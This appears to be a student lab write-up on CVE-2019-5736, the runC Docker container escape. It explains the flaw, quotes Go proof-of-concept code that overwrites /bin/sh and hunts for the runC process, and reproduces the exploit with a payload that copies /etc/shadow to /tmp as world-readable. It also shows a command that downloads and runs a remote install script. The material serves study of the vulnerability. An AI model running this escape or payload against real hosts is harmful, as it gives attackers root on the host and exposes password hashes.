CVE-2019-5736 runC Docker escape vulnerability

Qingshan Zhang

1. Vulnerability Principle

(1) Background

runC is a CLI tool that creates and runs containers according to the OCI (Open Container Initiative) standard. Currently, containers such as Docker, Containerd and CRI-O run on runC.

The "high-level" container such as docker usually implements image creation and management functions, and runC can be used to handle tasks related to running containers.

(2) Vulnerable Version Requirements

Docker version < 18.09.2 or runC version <= 1.0-rc6

(3) Vulnerability Analysis

This vulnerability allows a malicious container to override the runC binary file on the host, thereby gaining root privileges to execute code on the host.

Docker provides exec command to facilitate the user to interact with the container in the host. For example, through “docker run exec - it < container ID > /bin/bash”, you can enter the container and execute the command in the container. This command actually executes the “/bin/bash” file in the container. We can override the target file in the container as #!/proc/self/exe.

We also know that many operations of docker are run through runC. Therefore, we can execute the docker exec command to the target file to be covered and cheat runC to execute itself. Therefore, running “docker run exec - it < container ID > /bin/bash” outside the container will trick runC into running “/proc/self/exe”.

```
func main() {
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")
```

Then we could repeatedly try to write the payload to the file identifier in a loop. After successful writing, the runC file on the host will be overwritten when runC exits. Using runC again (executing docker exec, etc.) can execute malicious code.

```
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
        pids, err := ioutil.ReadDir("/proc")
        if err != nil {
                fmt.Println(err)
                return
        }
        for _, f := range pids {
                fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                fstring := string(fbytes)
                if strings.Contains(fstring, "runc") {
                        fmt.Println("[+] Found the PID:", f.Name())
                        found, err = strconv.Atoi(f.Name())
                        if err != nil {
                                fmt.Println(err)
                                return
                        }
                }
        }
}
```

2. Vulnerability Reproducion

(1) In order not to affect my environment, I downloaded and installed the vulnerability environment.

“curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh”

```
ent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash inst
all.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3688  100  3688    0     0  44433      0 --:--:-- --:--:-- --:--:-- 44433
OS: , ubuntu
[sudo] password for giotto:
# Executing docker install script, commit: 26ff363bcf3b3f5a00498ac43694bf1c7d9ce
16c
```

(2) I downloaded a PoC implemented by Golang from GitHub to reproduce this vulnerability.

“git clone https://github.com/Frichetten/CVE-2019-5736-PoC”

```
giotto@giotto-virtual-machine:~/Documents/lab5$ git clone https://github.com/Fri
chetten/CVE-2019-5736-PoC
Cloning into 'CVE-2019-5736-PoC'...
remote: Enumerating objects: 45, done.
remote: Total 45 (delta 0), reused 0 (delta 0), pack-reused 45
Unpacking objects: 100% (45/45), done.
```

(3) The payload I used:

```
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
```

It will copy the secret file "/etc/shadow" to the "/tmp" directory, so that every one could get that secret file.

(4) Compile the payload

"CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go"

```
giotto@giotto-virtual-machine:~/Documents/lab5$ cd CVE-2019-5736-PoC/
giotto@giotto-virtual-machine:~/Documents/lab5/CVE-2019-5736-PoC$ CGO_ENABLED=0
GOOS=linux GOARCH=amd64  go build main.go
```

(5) Start this container simulation environment

```
:~/Documents/lab5$ chmod 777 get-docker.sh
:~/Documents/lab5$ chmod 777 install.sh
:~/Documents/lab5$ sudo ./get-docker.sh
```

```
~/Documents/lab5$ sudo ./install.sh
```

```
[*] start to run docker...
root@fa049fb02add:/# ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr
```

(6) Check the container

"sudo docker ps"

```
giotto@giotto-virtual-machine:~/Documents/lab5/CVE-2019-5736-PoC$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED
 STATUS              PORTS               NAMES
fa049fb02add        ubuntu:18.04        "/bin/bash"         About a minute ago
 Up About a minute                       optimistic_torvalds
```

(7) Copy the payload into the container. We could assume it as the attacker uploads the payload into the victim container.

"sudo docker cp main <container id>:/home"

```
giotto@giotto-virtual-machine:~/Documents/lab5/CVE-2019-5736-PoC$ sudo docker cp
 main fa049fb02add:/home
```

```
root@fa049fb02add:/# cd home/
root@fa049fb02add:/home# ls
main
```

(8) Make the malicious code executable and execute it.

```
root@fa049fb02add:/home# chmod 777 main
root@fa049fb02add:/home# ./main
[+] Overwritten /bin/sh successfully
```

(9) Create another terminal and enter the docker, which will trigger the payload.

```
giotto@giotto-virtual-machine:~/Documents/lab5/CVE-2019-5736-PoC$ sudo docker ex
ec -it fa049fb02add bash
```

(10) We could find that we get the file handle and exploit the vulnerability successfully.

```
root@fa049fb02add:/home# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 31
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc4200894a0}
```

(11) Check the "/tmp" directory, we could find that the secret shadow file is copied to this directory.

```
giotto@giotto-virtual-machine:/tmp$ ls
_cafeny-appconfig_
config-err-5fpbWR
shadow
ssh-WXjJU[illegible]WqkRMd
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-bolt.service-k0TS87
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-colord.service-mfW8KA
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-fwupd.service-SQheMr
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-ModemManager.service-eDybsr
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-rtkit-daemon.service-ESHfrv
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-systemd-resolved.service-iQaKku
systemd-private-e7cedd9c3e6c4df189c4b5dc15c37e88-systemd-timesyncd.service-oyFRs
VMwareDnD
vmware-giotto
vmware-root
vmware-root_1328-2990613077
```

3. References

[1] GitHub. 2020. *Frichetten/CVE-2019-5736-Poc*. [online] Available at: <https://github.com/Frichetten/CVE-2019-5736-PoC> [Accessed 25 October 2020].